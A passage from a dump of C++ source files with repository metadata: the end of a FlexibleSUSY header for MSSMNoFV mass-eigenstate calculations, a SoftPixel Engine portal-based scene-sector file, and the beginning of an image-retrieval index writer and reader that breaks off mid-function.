CpbarFtauFtauhhPR(int gI1) const;\n   std::complex<double> CpbarFtauFvtHpmPL(int gI1) const;\n   double CpbarFtauFvtHpmPR(int ) const;\n   std::complex<double> CpbarFtauFtauAhPL(int gI2) const;\n   std::complex<double> CpbarFtauFtauAhPR(int gI2) const;\n   std::complex<double> CpbarFtauChaSvtLPL(int gI2) const;\n   std::complex<double> CpbarFtauChaSvtLPR(int gI2) const;\n   double CpbarFtauFvtVWmPR() const;\n   double CpbarFtauFvtVWmPL() const;\n   std::complex<double> self_energy_Sd_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Sd_1loop(double p) const;\n   std::complex<double> self_energy_Su_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Su_1loop(double p) const;\n   std::complex<double> self_energy_Se_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Se_1loop(double p) const;\n   std::complex<double> self_energy_Sm_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Sm_1loop(double p) const;\n   std::complex<double> self_energy_Stau_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Stau_1loop(double p) const;\n   std::complex<double> self_energy_Ss_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Ss_1loop(double p) const;\n   std::complex<double> self_energy_Sc_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Sc_1loop(double p) const;\n   std::complex<double> self_energy_Sb_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Sb_1loop(double p) const;\n   std::complex<double> self_energy_St_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_St_1loop(double p) const;\n   std::complex<double> self_energy_hh_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_hh_1loop(double p) const;\n   std::complex<double> self_energy_Ah_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Ah_1loop(double p) const;\n   std::complex<double> self_energy_Hpm_1loop(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Hpm_1loop(double p) const;\n   std::complex<double> self_energy_SveL_1loop(double p ) const;\n   std::complex<double> self_energy_SvmL_1loop(double p ) const;\n   std::complex<double> self_energy_SvtL_1loop(double p ) const;\n   std::complex<double> self_energy_VG_1loop(double p ) const;\n   std::complex<double> self_energy_VP_1loop(double p ) const;\n   std::complex<double> self_energy_VZ_1loop(double p ) const;\n   std::complex<double> self_energy_VWm_1loop(double p ) const;\n   std::complex<double> self_energy_Chi_1loop_1(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,4,4> self_energy_Chi_1loop_1(double p) const;\n   std::complex<double> self_energy_Chi_1loop_PR(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,4,4> self_energy_Chi_1loop_PR(double p) const;\n   std::complex<double> self_energy_Chi_1loop_PL(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,4,4> self_energy_Chi_1loop_PL(double p) const;\n   std::complex<double> self_energy_Cha_1loop_1(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Cha_1loop_1(double p) const;\n   std::complex<double> self_energy_Cha_1loop_PR(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Cha_1loop_PR(double p) const;\n   std::complex<double> self_energy_Cha_1loop_PL(double p , int gO1, int gO2) const;\n   Eigen::Matrix<std::complex<double>,2,2> self_energy_Cha_1loop_PL(double p) const;\n   std::complex<double> self_energy_Glu_1loop_1(double p ) const;\n   std::complex<double> self_energy_Glu_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Glu_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fd_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fd_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fd_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fs_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fs_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fs_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fb_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fb_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fb_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fu_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fu_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fu_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fc_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fc_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fc_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_1(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fve_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fve_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fve_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fvm_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fvm_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fvm_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fvt_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fvt_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fvt_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fe_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fe_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fe_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fm_1loop_1(double p ) const;\n   std::complex<double> self_energy_Fm_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Fm_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Ftau_1loop_1(double p ) const;\n   std::complex<double> self_energy_Ftau_1loop_PR(double p ) const;\n   std::complex<double> self_energy_Ftau_1loop_PL(double p ) const;\n   std::complex<double> self_energy_Fb_1loop_1_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fb_1loop_PR_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fb_1loop_PL_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fe_1loop_1_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fe_1loop_PR_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fe_1loop_PL_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fm_1loop_1_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fm_1loop_PR_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Fm_1loop_PL_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Ftau_1loop_1_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Ftau_1loop_PR_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Ftau_1loop_PL_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_1_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_PR_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_PL_heavy_rotated(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_1_heavy(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_PR_heavy(double p ) const;\n   std::complex<double> self_energy_Ft_1loop_PL_heavy(double p ) const;\n   std::complex<double> tadpole_hh_1loop(int gO1) const;\n\n\n   /// calculates the tadpoles at current loop order\n   void tadpole_equations(double[number_of_ewsb_equations]) const;\n   /// calculates the tadpoles at current loop order\n   Eigen::Matrix<double,number_of_ewsb_equations,1> tadpole_equations() const;\n   /// calculates the tadpoles divided by VEVs at current loop order\n   Eigen::Matrix<double,number_of_ewsb_equations,1> tadpole_equations_over_vevs() const;\n\n   void calculate_MTopSquark_2nd_generation(double&, double&, double&) const;\n   void calculate_MBottomSquark_2nd_generation(double&, double&, double&) const;\n   void calculate_MSneutrino_2nd_generation(double&, double&, double&) const;\n   void calculate_MSelectron_2nd_generation(double&, double&, double&) const;\n\n   void calculate_MTopSquark_3rd_generation(double&, double&, double&) const;\n   void calculate_MBottomSquark_3rd_generation(double&, double&, double&) const;\n   void calculate_MSneutrino_3rd_generation(double&, double&, double&) const;\n   void calculate_MSelectron_3rd_generation(double&, double&, double&) const;\n\n   Eigen::Matrix<double,2,2> self_energy_hh_2loop() const;\n   Eigen::Matrix<double,2,2> self_energy_Ah_2loop() const;\n\n   Eigen::Matrix<double,2,1> tadpole_hh_2loop() const;\n\n\n   void calculate_MVG_pole();\n   void calculate_MGlu_pole();\n   void calculate_MVP_pole();\n   void calculate_MVZ_pole();\n   void calculate_MFd_pole();\n   void calculate_MFs_pole();\n   void calculate_MFb_pole();\n   void calculate_MFu_pole();\n   void calculate_MFc_pole();\n   void calculate_MFt_pole();\n   void calculate_MFve_pole();\n   void calculate_MFvm_pole();\n   void calculate_MFvt_pole();\n   void calculate_MFe_pole();\n   void calculate_MFm_pole();\n   void calculate_MFtau_pole();\n   void calculate_MSveL_pole();\n   void calculate_MSvmL_pole();\n   void calculate_MSvtL_pole();\n   void calculate_MSd_pole();\n   void calculate_MSu_pole();\n   void calculate_MSe_pole();\n   void calculate_MSm_pole();\n   void calculate_MStau_pole();\n   void calculate_MSs_pole();\n   void calculate_MSc_pole();\n   void calculate_MSb_pole();\n   void calculate_MSt_pole();\n   void calculate_Mhh_pole();\n   void calculate_MAh_pole();\n   void calculate_MHpm_pole();\n   void calculate_MChi_pole();\n   void calculate_MCha_pole();\n   void calculate_MVWm_pole();\n   double calculate_MVWm_pole(double);\n   double calculate_MVZ_pole(double);\n\n   double calculate_MFve_DRbar(double) const;\n   double calculate_MFvm_DRbar(double) const;\n   double calculate_MFvt_DRbar(double) const;\n   double calculate_MFe_DRbar(double) const;\n   double calculate_MFm_DRbar(double) const;\n   double calculate_MFtau_DRbar(double) const;\n   double calculate_MFu_DRbar(double) const;\n   double calculate_MFc_DRbar(double) const;\n   double calculate_MFt_DRbar(double) const;\n   double calculate_MFd_DRbar(double) const;\n   double calculate_MFs_DRbar(double) const;\n   double calculate_MFb_DRbar(double) const;\n   double calculate_MVP_DRbar(double);\n   double calculate_MVZ_DRbar(double);\n   double calculate_MVWm_DRbar(double);\n\n   double v() const;\n   double Betax() const;\n   double Alpha() const;\n   double ThetaW() const;\n\n\nprivate:\n   int ewsb_loop_order{2};           ///< loop order for EWSB\n   int pole_mass_loop_order{2};      ///< loop order for pole masses\n   bool calculate_sm_pole_masses{false};  ///< switch to calculate the pole masses of the Standard Model particles\n   bool calculate_bsm_pole_masses{true};  ///< switch to calculate the pole masses of the BSM particles\n   bool force_output{false};              ///< switch to force output of pole masses\n   double precision{1.e-3};               ///< RG running precision\n   double ewsb_iteration_precision{1.e-5};///< precision goal of EWSB solution\n   MSSMNoFV_physical physical{}; ///< contains the pole masses and mixings\n   Problems problems{MSSMNoFV_info::model_name,\n                     &MSSMNoFV_info::particle_names_getter,\n                     &MSSMNoFV_info::parameter_names_getter}; ///< problems\n   Loop_corrections loop_corrections{}; ///< used pole mass corrections\n   std::shared_ptr<MSSMNoFV_ewsb_solver_interface> ewsb_solver{};\n   Threshold_corrections threshold_corrections{}; ///< used threshold corrections\n\n   int get_number_of_ewsb_iterations() const;\n   int get_number_of_mass_iterations() const;\n   int solve_ewsb_tree_level_custom();\n   void copy_DRbar_masses_to_pole_masses();\n\n   // Passarino-Veltman loop functions\n   double A0(double) const noexcept;\n   double B0(double, double, double) const noexcept;\n   double B1(double, double, double) const noexcept;\n   double B00(double, double, double) const noexcept;\n   double B22(double, double, double) const noexcept;\n   double H0(double, double, double) const noexcept;\n   double F0(double, double, double) const noexcept;\n   double G0(double, double, double) const noexcept;\n\n   // DR-bar masses\n   double MVG{};\n   double MGlu{};\n   double MFd{};\n   double MFs{};\n   double MFb{};\n   double MFu{};\n   double MFc{};\n   double MFt{};\n   double MFve{};\n   double MFvm{};\n   double MFvt{};\n   double MFe{};\n   double MFm{};\n   double MFtau{};\n   double MSveL{};\n   double MSvmL{};\n   double MSvtL{};\n   Eigen::Array<double,2,1> MSd{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSu{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSe{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSm{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MStau{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSs{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSc{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSb{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSt{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> Mhh{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MAh{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MHpm{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,4,1> MChi{Eigen::Array<double,4,1>::Zero()};\n   Eigen::Array<double,2,1> MCha{Eigen::Array<double,2,1>::Zero()};\n   double MVWm{};\n   double MVP{};\n   double MVZ{};\n\n   // DR-bar mixing matrices\n   Eigen::Matrix<double,2,2> ZD{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZU{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZE{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZM{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZTau{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZS{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZC{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZB{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZT{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZH{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZA{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZP{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<std::complex<double>,4,4> ZN{Eigen::Matrix<std::complex<double>,4,4>::Zero()};\n   Eigen::Matrix<std::complex<double>,2,2> UM{Eigen::Matrix<std::complex<double>,2,2>::Zero()};\n   Eigen::Matrix<std::complex<double>,2,2> UP{Eigen::Matrix<std::complex<double>,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZZ{Eigen::Matrix<double,2,2>::Zero()};\n\n   // phases\n   std::complex<double> PhaseGlu{1.,0.};\n\n   // extra parameters\n\n};\n\nstd::ostream& operator<<(std::ostream&, const MSSMNoFV_mass_eigenstates&);\n\n} // namespace flexiblesusy\n\n#endif\n", "meta": {"hexsha": "16571237307df89cea751625f0a805f0b217a68b", "size": 84528, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "contrib/MassSpectra/flexiblesusy/models/MSSMNoFV/MSSMNoFV_mass_eigenstates.hpp", "max_stars_repo_name": "sebhoof/gambit_1.5", "max_stars_repo_head_hexsha": "f9a3f788e3331067c555ae1a030420e903c6fdcd", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-09-08T20:05:27.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-26T07:57:56.000Z", "max_issues_repo_path": "contrib/MassSpectra/flexiblesusy/models/MSSMNoFV/MSSMNoFV_mass_eigenstates.hpp", "max_issues_repo_name": "sebhoof/gambit_1.5", "max_issues_repo_head_hexsha": "f9a3f788e3331067c555ae1a030420e903c6fdcd", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": 9.0, "max_issues_repo_issues_event_min_datetime": "2020-10-19T09:56:17.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-28T06:12:03.000Z", "max_forks_repo_path": "contrib/MassSpectra/flexiblesusy/models/MSSMNoFV/MSSMNoFV_mass_eigenstates.hpp", "max_forks_repo_name": "patscott/gambit_1.4", "max_forks_repo_head_hexsha": "a50537419918089effc207e8b206489a5cfd2258", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2020-09-08T02:23:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-23T08:48:04.000Z", "avg_line_length": 57.2682926829, "max_line_length": 114, "alphanum_fraction": 0.7379093318, "num_tokens": 31269, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5926665999540697, "lm_q2_score": 0.2509127924867847, "lm_q1q2_score": 0.14870763160812372}}
{"text": "/*\n * Sector file\n * \n * This file is part of the \"SoftPixel Engine\" (Copyright (c) 2008 by Lukas Hermanns)\n * See \"SoftPixelEngine.hpp\" for license information.\n */\n\n#include \"SceneGraph/spSceneSector.hpp\"\n\n#ifdef SP_COMPILE_WITH_SCENEGRAPH_PORTAL_BASED\n\n\n#include \"Base/spMemoryManagement.hpp\"\n#include \"Base/spMathCollisionLibrary.hpp\"\n#include \"SceneGraph/spScenePortal.hpp\"\n#include \"SceneGraph/spSceneCamera.hpp\"\n#include \"SceneGraph/spRenderNode.hpp\"\n\n#include <boost/foreach.hpp>\n\n\nnamespace sp\n{\nnamespace scene\n{\n\nSector::Sector()\n{\n}\nSector::~Sector()\n{\n}\n\nbool Sector::addPortal(Portal* PortalObj)\n{\n    if (PortalObj && PortalObj->connect(this))\n    {\n        Portals_.push_back(PortalObj);\n        return true;\n    }\n    return false;\n}\n\nbool Sector::removePortal(Portal* PortalObj)\n{\n    if (PortalObj && PortalObj->disconnect(this))\n    {\n        MemoryManager::removeElement(Portals_, PortalObj);\n        return true;\n    }\n    return false;\n}\n\nvoid Sector::clearPortals()\n{\n    Portals_.clear();\n}\n\nvoid Sector::addRenderNode(RenderNode* NodeObj)\n{\n    if (NodeObj && !MemoryManager::hasElement(RenderNodes_, NodeObj))\n        RenderNodes_.push_back(NodeObj);\n}\n\nvoid Sector::removeRenderNode(RenderNode* NodeObj)\n{\n    MemoryManager::removeElement(RenderNodes_, NodeObj);\n}\n\nvoid Sector::clearRenderNodes()\n{\n    RenderNodes_.clear();\n}\n\nf32 Sector::getPointDistance(const dim::vector3df &Point) const\n{\n    return math::CollisionLibrary::getPointBoxDistance(BoundBox_, Point);\n}\n\nbool Sector::isPointInside(const dim::vector3df &Point) const\n{\n    return ConvexHull_.isPointInside(InvTransform_ * Point);\n}\n\nbool Sector::isBoundingVolumeInsideInv(const BoundingVolume &BoundVolume, const dim::matrix4f &InvMatrix) const\n{\n    switch (BoundVolume.getType())\n    {\n        case BOUNDING_SPHERE:\n            return ConvexHull_.isPointInside(InvTransform_ * (InvMatrix.getPosition()), BoundVolume.getRadius());\n        case BOUNDING_BOX:\n            return ConvexHull_.isBoundBoxInsideInv(BoundVolume.getBox(), InvMatrix * getTransformation());\n        default:\n            break;\n    }\n    return false;\n}\n\nbool Sector::isPortalNearby(const Portal* PortalObj, f32 Tolerance) const\n{\n    if (PortalObj)\n    {\n        /* Check if one of the portal's corners are nearby this sector */\n        for (u32 i = 0; i < 4; ++i)\n        {\n            if (getPointDistance(PortalObj->getPoint(i)) < Tolerance || isPointInside(PortalObj->getPoint(i)))\n                return true;\n        }\n    }\n    return false;\n}\n\nvoid Sector::setTransformation(const dim::matrix4f &Transform)\n{\n    /* Store inverse transformation */\n    InvTransform_ = Transform.getInverse();\n    \n    /* Store oriented-bounding box */\n    BoundBox_ = dim::obbox3df(\n        Transform.getPosition(),\n        Transform.vecRotate(dim::vector3df(0.5f, 0, 0)),\n        Transform.vecRotate(dim::vector3df(0, 0.5f, 0)),\n        Transform.vecRotate(dim::vector3df(0, 0, 0.5f))\n    );\n    \n    /* Setup convex polyhedron */\n    for (u32 i = 0; i < 6; ++i)\n        ConvexHull_.getPlane(i) = dim::aabbox3df::CUBE.getPlane(i);\n}\n\ndim::matrix4f Sector::getTransformation() const\n{\n    return InvTransform_.getInverse();\n}\n\n\n/*\n * ======= Private: =======\n */\n\nvoid Sector::render(\n    Sector* Predecessor, const dim::vector3df &GlobalViewOrigin,\n    ViewFrustum &Frustum, const dim::matrix4f &BaseMatrix)\n{\n    /* Find portals */\n    const ViewFrustum OrigFrustum(Frustum);\n    \n    foreach (Portal* PortalObj, Portals_)\n    {\n        if (!PortalObj->getEnable())\n            continue;\n        \n        /*Check if this sector has a neighbor within this portal */\n        Sector* Neighbor = PortalObj->getNeighbor(this);\n        \n        if (!Neighbor || Neighbor == Predecessor)\n            continue;\n        \n        /* Transform current view-frustum through the portal */\n        if (!PortalObj->transformViewFrustum(GlobalViewOrigin, Frustum))\n            continue;\n        \n        /* Render next sector */\n        Neighbor->render(this, GlobalViewOrigin, Frustum, BaseMatrix);\n        \n        Frustum = OrigFrustum;\n    }\n    \n    /* Draw render nodes of this sector */\n    foreach (RenderNode* Node, RenderNodes_)\n    {\n        if (Node->getVisible())\n        {\n            Node->updateTransformationBase(BaseMatrix);\n            Node->render();\n        }\n    }\n}\n\n\n} // /namespace scene\n\n} // /namespace sp\n\n\n#endif\n\n\n\n// ================================================================================\n \n", "meta": {"hexsha": "9131053f651a416d48f2f5450fb66f192da92af1", "size": 4478, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "sources/SceneGraph/spSceneSector.cpp", "max_stars_repo_name": "rontrek/softpixel", "max_stars_repo_head_hexsha": "73a13a67e044c93f5c3da9066eedbaf3805d6807", "max_stars_repo_licenses": ["Zlib"], "max_stars_count": 14.0, "max_stars_repo_stars_event_min_datetime": "2015-08-16T21:05:20.000Z", "max_stars_repo_stars_event_max_datetime": "2019-08-21T17:22:01.000Z", "max_issues_repo_path": "sources/SceneGraph/spSceneSector.cpp", "max_issues_repo_name": "rontrek/softpixel", "max_issues_repo_head_hexsha": "73a13a67e044c93f5c3da9066eedbaf3805d6807", "max_issues_repo_licenses": ["Zlib"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sources/SceneGraph/spSceneSector.cpp", "max_forks_repo_name": "rontrek/softpixel", "max_forks_repo_head_hexsha": "73a13a67e044c93f5c3da9066eedbaf3805d6807", "max_forks_repo_licenses": ["Zlib"], "max_forks_count": 3.0, "max_forks_repo_forks_event_min_datetime": "2016-10-31T06:08:44.000Z", "max_forks_repo_forks_event_max_datetime": "2019-08-02T16:12:33.000Z", "avg_line_length": 23.3229166667, "max_line_length": 113, "alphanum_fraction": 0.6353282715, "num_tokens": 1090, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230156, "lm_q2_score": 0.28776780354463427, "lm_q1q2_score": 0.14837881061148162}}
{"text": "#include <vector>\n#include <string>\n#include <boost/log/trivial.hpp>\n#include <fstream>\n#include <iostream>\n#include <cfloat>\n#include <cstdio>\n#include <cstdlib>\n#include <sys/types.h>\n\n#include \"gdindex.h\"\n#include \"../local_descriptor/sift_reader.h\"\n#include \"../../../common/feature_set/feature_set.h\"\n#include \"../../../common/utils/io_utils.h\"\n#include \"definition.h\"\n\nextern \"C\" {\n#include <yael/gmm.h>\n#include <yael/matrix.h>\n}\n\nusing namespace std;\n\nnamespace vrs\n{\nnamespace components\n{\n\nvoid copy_floats(const uint n, float* in, float* out)\n{\n\tfor (uint d = 0; d < n; d++) {\n\t\tout[d] = in[d];\n\t}\n}\n\nvoid gdindex::write(const string index_path)\n{\n\t// Open file for writing\n\tFILE* index_file = fopen(index_path.c_str(), \"wb\");\n\tif (index_file == nullptr) {\n\t\tfprintf(stderr, \"gdindex::write : Cannot open: %s\\n\", index_path.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\n\t// Write number of global descriptors\n\tint number_gd_to_write = static_cast<int>(index_.number_global_descriptors);\n\tfwrite(&number_gd_to_write, sizeof(int), 1, index_file);\n\n\t// Assert that we have data in index_ and that it makes sense,\n\t// and allocate helper variables\n\tif (index_parameters_.gd_unbinarized) {\n\t\tassert(index_.fv.size() != 0);\n\t\tassert(index_.fv.size() == index_.number_global_descriptors);\n\t\tassert(index_.fv.size() == index_.word_l1_norms.size());\n\t\tassert(index_.fv.size() == index_.word_total_soft_assignment.size());\n\t} else {\n\t\tassert(index_.word_descriptor.size() != 0);\n\t\tassert(index_.word_descriptor.size() == index_.number_global_descriptors);\n\t\tassert(index_.word_descriptor.size() == index_.word_l1_norms.size());\n\t\tassert(index_.word_descriptor.size() == index_.word_total_soft_assignment.size());\n\t}\n\tuint* word_descriptor_to_write =\n\t    new uint[index_parameters_.gd_number_gaussians];\n\tfloat* fv_to_write =\n\t    new float[index_parameters_.gd_number_gaussians\n\t              *index_parameters_.ld_pca_dim];\n\tfloat* word_l1_norms_to_write =\n\t    new float[index_parameters_.gd_number_gaussians];\n\tfloat* word_total_soft_assignment_to_write =\n\t    new float[index_parameters_.gd_number_gaussians];\n\n\t// Loop over items in index and write them out\n\tfor (int count_item = 0; count_item < number_gd_to_write; count_item++) {\n\t\t// Collect data that will be written\n\t\tfor (uint count_gaussian = 0;\n\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t     count_gaussian++) {\n\t\t\tword_l1_norms_to_write[count_gaussian] =\n\t\t\t    index_.word_l1_norms.at(count_item).at(count_gaussian);\n\t\t\tword_total_soft_assignment_to_write[count_gaussian] =\n\t\t\t    index_.word_total_soft_assignment.at(count_item).at(count_gaussian);\n\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t// Get ld_pca_dim-sized vector for this Gaussian\n\t\t\t\tfor (uint d = 0; d < index_parameters_.ld_pca_dim; d++) {\n\t\t\t\t\tfv_to_write[count_gaussian*index_parameters_.ld_pca_dim\n\t\t\t\t\t            + d]\n\t\t\t\t\t    = index_.fv.at(count_item).at(count_gaussian\n\t\t\t\t\t                                  *index_parameters_.ld_pca_dim\n\t\t\t\t\t                                  + d);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tword_descriptor_to_write[count_gaussian] =\n\t\t\t\t    index_.word_descriptor.at(count_item).at(count_gaussian);\n\t\t\t}\n\t\t}\n\t\t// Write to file\n\t\tfwrite(word_l1_norms_to_write, sizeof(float),\n\t\t       index_parameters_.gd_number_gaussians, index_file);\n\t\tfwrite(word_total_soft_assignment_to_write, sizeof(float),\n\t\t       index_parameters_.gd_number_gaussians, index_file);\n\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\tfwrite(fv_to_write, sizeof(float),\n\t\t\t       index_parameters_.gd_number_gaussians\n\t\t\t       *index_parameters_.ld_pca_dim, index_file);\n\t\t} else {\n\t\t\tfwrite(word_descriptor_to_write, sizeof(uint),\n\t\t\t       index_parameters_.gd_number_gaussians, index_file);\n\t\t}\n\t}\n\n\t// Clean up\n\tif (word_l1_norms_to_write != nullptr) {\n\t\tdelete [] word_l1_norms_to_write;\n\t\tword_l1_norms_to_write = nullptr;\n\t}\n\tif (word_total_soft_assignment_to_write != nullptr) {\n\t\tdelete [] word_total_soft_assignment_to_write;\n\t\tword_total_soft_assignment_to_write = nullptr;\n\t}\n\tif (word_descriptor_to_write != nullptr) {\n\t\tdelete [] word_descriptor_to_write;\n\t\tword_descriptor_to_write = nullptr;\n\t}\n\tif (fv_to_write != nullptr) {\n\t\tdelete [] fv_to_write;\n\t\tfv_to_write = nullptr;\n\t}\n\n\t// Close file\n\tfclose(index_file);\n}\n\nvoid gdindex::read(const string index_path, const bool both_sel_modes)\n{\n\t// Check that word selection mode is valid\n\tif (query_parameters_.word_selection_mode != WORD_L1_NORM &&\n\t    query_parameters_.word_selection_mode != WORD_SOFT_ASSGN) {\n\t\tcout << \"Error! Mode \" << query_parameters_.word_selection_mode\n\t\t     << \" is not allowed. Quitting...\"\n\t\t     << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n\t// Open file for reading\n\tFILE* index_file = fopen(index_path.c_str(), \"rb\");\n\tif (index_file == nullptr) {\n\t\tfprintf(stderr, \"gdindex::read : Cannot open: %s\\n\", index_path.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\n\t// Read number of global descriptors\n\tint number_gd_to_read = 0;\n\tfread(&number_gd_to_read, sizeof(int), 1, index_file);\n\n\t// Size of current index\n\tuint current_db_size = index_.number_global_descriptors;\n\n\t// Allocate helper variables\n\tuint* word_descriptor_to_read =\n\t    new uint[index_parameters_.gd_number_gaussians];\n\tfloat* fv_to_read =\n\t    new float[index_parameters_.gd_number_gaussians\n\t              *index_parameters_.ld_pca_dim];\n\tfloat* word_l1_norms_to_read =\n\t    new float[index_parameters_.gd_number_gaussians];\n\tfloat* word_total_soft_assignment_to_read =\n\t    new float[index_parameters_.gd_number_gaussians];\n\n\tif (index_parameters_.gd_unbinarized) {\n\t\tindex_.fv.resize(current_db_size + number_gd_to_read);\n\t} else {\n\t\tindex_.word_descriptor.resize(current_db_size + number_gd_to_read);\n\t}\n\t// Depending on both_sel_modes and query_parameters_.word_selection_mode,\n\t// we will load either BOTH l1 norms and total soft assignment information,\n\t// or only one of them.\n\tif (both_sel_modes || 